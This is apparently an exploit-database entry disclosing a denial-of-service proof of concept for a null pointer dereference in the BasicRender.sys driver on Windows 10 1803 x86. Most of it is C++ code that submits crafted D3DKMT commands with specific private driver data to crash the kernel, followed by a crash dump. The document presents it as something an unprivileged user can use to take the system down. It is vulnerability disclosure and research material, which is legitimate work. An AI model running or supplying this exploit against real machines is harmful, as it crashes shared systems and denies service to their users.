# Exploit Title: Microsoft Windows 10 BasicRender.sys - Denial of Service (PoC)
# Date: 2019-12-20
# Exploit author: vportal
# Vendor homepage: http://www.microsoft.com
# Version: Windows 10 1803 x86
# Tested on: Windows 10 1803 x86
# CVE: N/A

# A Null pointer deference exists in the WARPGPUCMDSYNC function of the
# BasicRender.sys driver. An unprivileged user can trigger the vulnerability
# to crash the system and deny the service to the rest of the users.

*PoC:*

#include <Windows.h>
#include <d3dkmthk.h>

D3DKMT_CREATEDEVICE* device = NULL;
device = new D3DKMT_CREATEDEVICE();

D3DKMT_ENUMADAPTERS enumAdapter = { 0 };
D3DKMTEnumAdapters(&enumAdapter);
device->hAdapter = enumAdapter.Adapters[1].hAdapter;
logger(log_counter, "EnumAdapter");

D3DKMTCreateDevice(device);

D3DKMT_CREATECONTEXTVIRTUAL* contextVirtual = NULL;
contextVirtual = new D3DKMT_CREATECONTEXTVIRTUAL();
memset(contextVirtual, 0, sizeof(D3DKMT_CREATECONTEXTVIRTUAL));

contextVirtual->hDevice = device->hDevice;

char data[0x200] = { 0 };
memset(data, 0xff, 0x200);

contextVirtual->PrivateDriverDataSize = 0x200;
contextVirtual->pPrivateDriverData = data;

contextVirtual->ClientHint = D3DKMT_CLIENTHINT_DX10;
contextVirtual->Flags.InitialData = 0x000001;
contextVirtual->Flags.NullRendering = 0x0;

D3DKMT_SUBMITCOMMAND* submitCommand = NULL;
submitCommand = new D3DKMT_SUBMITCOMMAND();

submitCommand->BroadcastContext[0] = 0x40000240;

for (int i = 0; i < 0x10; i++)
     submitCommand->WrittenPrimaries[i] = 0x0;

submitCommand->PresentHistoryToken = 0x100;
submitCommand->Commands = 0x004b39;
submitCommand->CommandLength = 0x00000d;
submitCommand->BroadcastContext[0] = contextVirtual->hContext;
submitCommand->BroadcastContextCount = 0x1;
submitCommand->Flags.PresentRedirected = 0x1;

submitCommand->PrivateDriverDataSize = 0x130;

char* PrivateData = NULL;
PrivateData = new char[submitCommand->PrivateDriverDataSize];
memset(PrivateData, 0x00, submitCommand->PrivateDriverDataSize);

*(DWORD*)(PrivateData + 0x118) = 0x434e5953;
*(DWORD*)(PrivateData + 0x11c) = 0x18;
*(DWORD*)(PrivateData + 0x120) = 0x000110;
*(DWORD*)(PrivateData + 0x124) = 0x000420;
*(DWORD*)(PrivateData + 0x128) = 0x0;
*(DWORD*)(PrivateData + 0x12c) = 0x000428;

submitCommand->pPrivateDriverData = PrivateData;

D3DKMTSubmitCommand(submitCommand);


--------------------------------------------------------------------------
*Crash dump*:

STACK_TEXT:
8afae92c 8fe82cb2 8afae958 fffffffd 0000048c
BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc
8afae94c 8fe8267d bb26afe8 00000000 bb26afe0
BasicRender!WARPKMCONTEXT::SubmitVirtual+0x4a
8afae9a8 8fca6af5 91e05000 bb26afe0 93dfc000
BasicRender!WarpKMSubmitCommandVirtual+0x87
8afae9fc 8fc2a934 8afaea68 8afaeac0 92b19db6
dxgkrnl!ADAPTER_RENDER::DdiSubmitCommandVirtual+0x115
8afaea08 92b19db6 90114c30 8afaea68 b78da008
dxgkrnl!ADAPTER_RENDER_DdiSubmitCommandVirtual+0x10
8afaeac0 92b4ac94 93dfc000 cd6ee008 cc6d8860
dxgmms2!VidSchiSendToExecutionQueue+0x526
8afaeb90 92b764a9 00000000 945f5a80 00000000
dxgmms2!VidSchiSubmitRenderVirtualCommand+0x534
8afaebb8 81ee80bc 93dfc000 28e5f697 00000000
dxgmms2!VidSchiWorkerThread+0x1a1
8afaebf0 81fe952d 92b76308 93dfc000 00000000 nt!PspSystemThreadStartup+0x4a
8afaebfc 00000000 00000000 bbbbbbbb bbbbbbbb nt!KiThreadStartup+0x15

eax=8afae958 ebx=00000000 ecx=00000000 edx=00000000 *esi*=00000000
edi=bb26afd8
eip=8fe8386c esp=8afae920 ebp=8afae92c iopl=0         nv up ei pl zr na pe
nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000
efl=00010246
BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc:
8fe8386c c7061060e88f    mov     dword ptr [esi],offset
BasicRender!WARPGPUCMDSYNC::`vftable' (8fe86010) ds:0023:00000000=????????
Resetting default scope

--------------------------------------------------------------------------------

The vulnerability has only been tested  in Windows 10 x86 1803.
CVSS Base Score: 5.5
Credit: Victor Portal